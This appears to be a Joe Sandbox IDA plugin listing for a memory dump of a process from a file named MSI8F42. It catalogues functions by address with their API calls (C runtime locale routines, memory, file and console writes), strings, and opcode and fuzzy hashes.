Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$H_prolog3_Lockit::_Lockit::~__swprintf
String ID: 21$%.0Lf
API String ID: 3050236999-3009182331
Opcode ID: 2c25b0ef3c09907d30e04202ba7812c8fc452ea206c02003e80deebe0156d8be
Instruction ID: ccd443571afc4ad33c0515cddee730341e15ab334e5666ed8e2b02fe2774cbec
Opcode Fuzzy Hash: 2c25b0ef3c09907d30e04202ba7812c8fc452ea206c02003e80deebe0156d8be
Instruction Fuzzy Hash: 4E414A71D01308ABCF06DFE0CC55AEDBBB9FB09304F204459E846AB295DB359915CF90

Function 0030D79E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0030D7A5
_swprintf.LIBCMT ref: 0030D817

Part of subcall function 002F8610: std::_Lockit::_Lockit.LIBCPMT ref: 002F8657
Part of subcall function 002F8610: std::_Lockit::_Lockit.LIBCPMT ref: 002F8679
Part of subcall function 002F8610: std::_Lockit::~_Lockit.LIBCPMT ref: 002F86A1
Part of subcall function 002F8610: std::_Lockit::~_Lockit.LIBCPMT ref: 002F880E

Strings

%.0Lf, xrefs: 0030D80F
21, xrefs: 0030D86D, 0030D8B5

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: 21$%.0Lf
API String ID: 1487807907-3009182331
Opcode ID: bf7e9730da38a83484bf154e8314aa7ca8c53e9e36de9d2e5f7c6e348e0dc0dd
Instruction ID: 42557b34ad22fe5c594c7c0d615e117a94e2cfe2f03e183e5698853de973654b
Opcode Fuzzy Hash: bf7e9730da38a83484bf154e8314aa7ca8c53e9e36de9d2e5f7c6e348e0dc0dd
Instruction Fuzzy Hash: 11417B71D10308ABCF06DFE0D855AEDBBB9FF08340F208459E945AB295EB359915CF90

Function 00311887 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0031188E
_swprintf.LIBCMT ref: 00311900

Part of subcall function 002F9270: std::_Lockit::_Lockit.LIBCPMT ref: 002F92A0
Part of subcall function 002F9270: std::_Lockit::_Lockit.LIBCPMT ref: 002F92C2
Part of subcall function 002F9270: std::_Lockit::~_Lockit.LIBCPMT ref: 002F92EA
Part of subcall function 002F9270: std::_Lockit::~_Lockit.LIBCPMT ref: 002F9422

Strings

%.0Lf, xrefs: 003118F8
21, xrefs: 00311956, 0031199B

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: 21$%.0Lf
API String ID: 1487807907-3009182331
Opcode ID: b7fff9219242b032155a7019f4cf6c8f9c47e7b3309031501e87724f80531e7e
Instruction ID: db3b6f11e9acdcdb01c6dc5d79eb60cd7754bfa2ceb6a6fe4332cc590146fb86
Opcode Fuzzy Hash: b7fff9219242b032155a7019f4cf6c8f9c47e7b3309031501e87724f80531e7e
Instruction Fuzzy Hash: 84416A71E1020CABCF0AEFE4C854AEDBBB9FF08340F208459E955AB291DB359955CF90

Function 00308386 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030838D

Part of subcall function 00301C42: _Maklocstr.LIBCPMT ref: 00301C62
Part of subcall function 00301C42: _Maklocstr.LIBCPMT ref: 00301C7F
Part of subcall function 00301C42: _Maklocstr.LIBCPMT ref: 00301C9C
Part of subcall function 00301C42: _Maklocchr.LIBCPMT ref: 00301CAE
Part of subcall function 00301C42: _Maklocchr.LIBCPMT ref: 00301CC1

_Mpunct.LIBCPMT ref: 0030841A
_Mpunct.LIBCPMT ref: 00308434

Strings

$+xv, xrefs: 0030843F

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Maklocstr$MaklocchrMpunct$H_prolog3
String ID: $+xv
API String ID: 2939335142-1686923651
Opcode ID: 6424bdb94ebdcdef727f04088a332d6ef9ab491d6295839bd5e363e3a4346b48
Instruction ID: fb961716b4e9ee58b5be6a1ea6ededd6ca72f7423eef53fac33eae46d597f52c
Opcode Fuzzy Hash: 6424bdb94ebdcdef727f04088a332d6ef9ab491d6295839bd5e363e3a4346b48
Instruction Fuzzy Hash: 202177B1904B566FD726DF75C49077BBEF8AB0C700F04495AE499C7A82D734D641CB90

Function 0030FFEA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030FFF1
_Mpunct.LIBCPMT ref: 0031007E
_Mpunct.LIBCPMT ref: 00310098

Strings

$+xv, xrefs: 003100A3

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Mpunct$H_prolog3
String ID: $+xv
API String ID: 4281374311-1686923651
Opcode ID: 6ac58a0874ebd4183de7a72e4373168dc66a8d41bedbcf12d888f1a8bd098585
Instruction ID: 75eafd9a89a011beb77fcdbc1e1fc9b4497eed76d8b05f32e33551d969e7cddf
Opcode Fuzzy Hash: 6ac58a0874ebd4183de7a72e4373168dc66a8d41bedbcf12d888f1a8bd098585
Instruction Fuzzy Hash: 9021B6B1904B516FD72ADF75C49077BBEF8AB0C300F04491AE099CBA42D774E641CB90

Function 002F24C0 Relevance: 6.4, APIs: 5, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?,?,?,?,?,002F1434,?,00000000), ref: 002F2569
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,002F1434,?,00000000), ref: 002F2589
LocalFree.KERNEL32(?,002F1434,?,00000000), ref: 002F25DF
CloseHandle.KERNEL32(00000000,7642E7B1,?,00000000,00333C40,000000FF,00000008,?,?,?,?,002F1434,?,00000000), ref: 002F2633
LocalFree.KERNEL32(?,7642E7B1,?,00000000,00333C40,000000FF,00000008,?,?,?,?,002F1434), ref: 002F2647

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Local$AllocFree$CloseHandle
String ID:
API String ID: 1291444452-0
Opcode ID: 4f94a25fbc5cd0767409fe344ad407b173957265510b3b676b90798c1ce3fc9e
Instruction ID: 50e1c3da51900a394ce69e892a32d4539c7d5dc5508e20ed5162fef736487f20
Opcode Fuzzy Hash: 4f94a25fbc5cd0767409fe344ad407b173957265510b3b676b90798c1ce3fc9e
Instruction Fuzzy Hash: CE41E972610219DBC7199F68D894ABAF7DCEB4A3A0F504639F626C72D0DB70D8588750

Function 002FA910 Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 377COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(002F9C9B), ref: 002FACD1

Strings

T4, xrefs: 002FAC38, 002FABB4, 002FAB0C, 002FABF9
@T4, xrefs: 002FAAFF, 002FAB73
@T4, xrefs: 002FA941

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: FreeLocal
String ID: @T4$@T4$T4
API String ID: 2826327444-2191613505
Opcode ID: 75a45c7af7c9762fce773fa872b6d6ad5aa345836dc432be7440565a6ebc4b96
Instruction ID: 83e2e79e7dc7eb7413df9fd4b14d5e3963f44459ed06db75985529c512715276
Opcode Fuzzy Hash: 75a45c7af7c9762fce773fa872b6d6ad5aa345836dc432be7440565a6ebc4b96
Instruction Fuzzy Hash: 4DE19CB1A1024EDFDF14CFA8C884AEEFBB9FF08344F144069E919AB251D770A955CB61

Function 00331D9B Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(7642E7B1,?,00000000,?), ref: 00331DFE

Part of subcall function 0032A9BB: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00326F5E,?,00000000,-00000008), ref: 0032AA67

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00332059
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 003320A1
GetLastError.KERNEL32 ref: 00332144

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 9bfb685b2d523cbb12eecdd7d5cf794f39ee867e70865304f712ff6e8c3f0e4f
Instruction ID: 70c51e91400760271fb430b4176c6181dc807cb7d78478a023741ae3cd91c6b2
Opcode Fuzzy Hash: 9bfb685b2d523cbb12eecdd7d5cf794f39ee867e70865304f712ff6e8c3f0e4f
Instruction Fuzzy Hash: 62D157B5D04258AFCB16CFA8D8C09EEBBB9FF09310F18456AE915EB351D730A945CB50

Function 003224E8 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf32bb642c29218b67576a80e6df929616759348e9be1f7fa79397be9643a0d7
Instruction ID: 77d50dc67a382f63f05bc44539a117e847065a7903d94382e5b5be684f7716cf
Opcode Fuzzy Hash: cf32bb642c29218b67576a80e6df929616759348e9be1f7fa79397be9643a0d7
Instruction Fuzzy Hash: 8621D472604225BF9B27AF61EC61C6BB7ACBF463607228915F8158B250D730ED4097A0

Function 002FCCE0 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000,7642E7B1), ref: 002FCD1C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 002FCD3C
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 002FCD6D
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 002FCD86

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: a63386174baa362dcdd5123ae6607dc3fec95ded39edf01f1e8e72c2be90b842
Instruction ID: 6b4149903175060e088a3ad7b9a5513eaf1ce5aab00b0699be6ade3a2ae27a9f
Opcode Fuzzy Hash: a63386174baa362dcdd5123ae6607dc3fec95ded39edf01f1e8e72c2be90b842
Instruction Fuzzy Hash: 4C21B1B4941719ABD7258F54DD4AFAEBBBCEB05B14F200629F600AB2C0D7B46A0587E4

Function 00333686 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00333053,?,00000001,?,?,?,00332198,?,?,00000000), ref: 0033369D
GetLastError.KERNEL32(?,00333053,?,00000001,?,?,?,00332198,?,?,00000000,?,?,?,0033271F,?), ref: 003336A9

Part of subcall function 0033366F: CloseHandle.KERNEL32(FFFFFFFE,003336B9,?,00333053,?,00000001,?,?,?,00332198,?,?,00000000,?,?), ref: 0033367F

___initconout.LIBCMT ref: 003336B9

Part of subcall function 00333631: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00333660,00333040,?,?,00332198,?,?,00000000,?), ref: 00333644

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00333053,?,00000001,?,?,?,00332198,?,?,00000000,?), ref: 003336CE

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 999be541b09842c4bb251b3a5a83c6938586383ae550f246cfd9a79995c3d19d
Instruction ID: b373ebd0e38f9e3ec5346fb27075d84d8252e63fa5823dcf1dc4519065e50ffb
Opcode Fuzzy Hash: 999be541b09842c4bb251b3a5a83c6938586383ae550f246cfd9a79995c3d19d
Instruction Fuzzy Hash: FFF03036504118BFCF632F95DC859993F6AFB093B1F018050FE199A230CA328920EB91

Function 003086C7 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 003086CE
ctype.LIBCPMT ref: 0030877B

Strings

21, xrefs: 003087B5

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3_ctype
String ID: 21
API String ID: 2548254987-1316489359
Opcode ID: 277c1dcc34f22c0c10fef372bebb4a41c6caace8c94efbdfb321638ceb7a9cec
Instruction ID: f9ef92b5e9357dfc7a1f913085d9b01a6626cfaa63b80f1eabd73b1674f157a6
Opcode Fuzzy Hash: 277c1dcc34f22c0c10fef372bebb4a41c6caace8c94efbdfb321638ceb7a9cec
Instruction Fuzzy Hash: F5A1AF7180120DDFCF16DFA4C990AEEBBB9FF08310F554429E844AB291DB30AE56CB60

Function 002FF13C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 246COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 002FF143
ctype.LIBCPMT ref: 002FF1F0

Strings

21, xrefs: 002FF22A

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3_ctype
String ID: 21
API String ID: 2548254987-1316489359
Opcode ID: 6f0ad51a6805b99ba1de3b4de2cda96900452794403c866e7ab68fe78eb23d31
Instruction ID: 4ae028640f2baa0be47a4a3e2a5739e5f7e92b472b615e16d124e7d3294a3048
Opcode Fuzzy Hash: 6f0ad51a6805b99ba1de3b4de2cda96900452794403c866e7ab68fe78eb23d31
Instruction Fuzzy Hash: E6A1597592024EDFDF54DF94CA80AFEBBB9EF08380F140079E905A7251D770AA65CBA0

Function 002FD41C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 002FD423
std::locale::_Init.LIBCPMT ref: 002FD465

Strings

21, xrefs: 002FD54F, 002FD580

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3_Initstd::locale::_
String ID: 21
API String ID: 3382595777-1316489359
Opcode ID: 70130d96727ec4e66a878450cfb58930d12f3d5dc9a167987de9ec309188198a
Instruction ID: 79d9f27ea4ed3b15364a8501cbf1cccd050f1e39465dabdea35282d06b283b54
Opcode Fuzzy Hash: 70130d96727ec4e66a878450cfb58930d12f3d5dc9a167987de9ec309188198a
Instruction Fuzzy Hash: C371BD34D1425D9BDF15DFA4D0506FCFBB2AF19344F6840A9E9827B342DB30A956CB60

Function 003015FB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00301602
std::locale::_Init.LIBCPMT ref: 00301644

Strings

21, xrefs: 00301732, 0030175F

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3_Initstd::locale::_
String ID: 21
API String ID: 3382595777-1316489359
Opcode ID: def0537d694bf009b8325fb9b7157535365fae73b0dcaa6afc34714490c09080
Instruction ID: 53933ee52a41737689f793855f975328cfd46c95107afd502f2d49c6324c8ad9
Opcode Fuzzy Hash: def0537d694bf009b8325fb9b7157535365fae73b0dcaa6afc34714490c09080
Instruction Fuzzy Hash: D971C134E0625C9FCF16DFA4C4A06EDBBB2AF49714F284099E8817B382DB315D46CB60

Function 0030180A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00301811
std::locale::_Init.LIBCPMT ref: 00301859

Strings

21, xrefs: 0030194A, 0030197A

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3_Initstd::locale::_
String ID: 21
API String ID: 3382595777-1316489359
Opcode ID: 263a5c988b58d10c746c12fc3ac629c8a0ef36ee92ce99a55b623fe90b90df54
Instruction ID: 879adab9dcdddacc495f965f0e7b3c633f85a7cc3820ea984ee8ae5406a88461
Opcode Fuzzy Hash: 263a5c988b58d10c746c12fc3ac629c8a0ef36ee92ce99a55b623fe90b90df54
Instruction Fuzzy Hash: 26717234E062189BCF1ADF94D4A06FDBBB2BF59710F554059E882BB2C1DB345D82CB90

Function 00301A26 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00301A2D
std::locale::_Init.LIBCPMT ref: 00301A75

Strings

21, xrefs: 00301B66, 00301B96

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3_Initstd::locale::_
String ID: 21
API String ID: 3382595777-1316489359
Opcode ID: a69c312833009669e6b035f72738e93616548de052227e897ce92844a9ae183c
Instruction ID: e612f4d0857af58b3f0ed6b21daaa632658974047c2c9a47435fc4515b3184c1
Opcode Fuzzy Hash: a69c312833009669e6b035f72738e93616548de052227e897ce92844a9ae183c
Instruction Fuzzy Hash: 2E718E34E062589BCF1ADF94D4A0AFDBBB1BF59310F554059E842BB2C1EB345D82CB60

Function 00311E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00311FD1

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00311F2F, 00311F66, 00311F6B
-, xrefs: 00311FFF

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: 9293bd255f498d9057af03925e5fe80cbf85a19a0c5158f3216a53bec7fce61c
Instruction ID: 523a6022f83b3aab5ddb0287602675eb86307927246a2bc729f34210521ebc40
Opcode Fuzzy Hash: 9293bd255f498d9057af03925e5fe80cbf85a19a0c5158f3216a53bec7fce61c
Instruction Fuzzy Hash: 9351D370B042459ADF2F8FA894817FEBBBA5F0D340F15465AEA91D7241C37089C2CB61

Function 002FBD90 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 002FBF6E

Strings

true, xrefs: 002FBEAB
false, xrefs: 002FBE95

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: 2026a7790c26308e47ea4276267e2af4c61ebb9f8f3b78d8fea42bfb706584f0
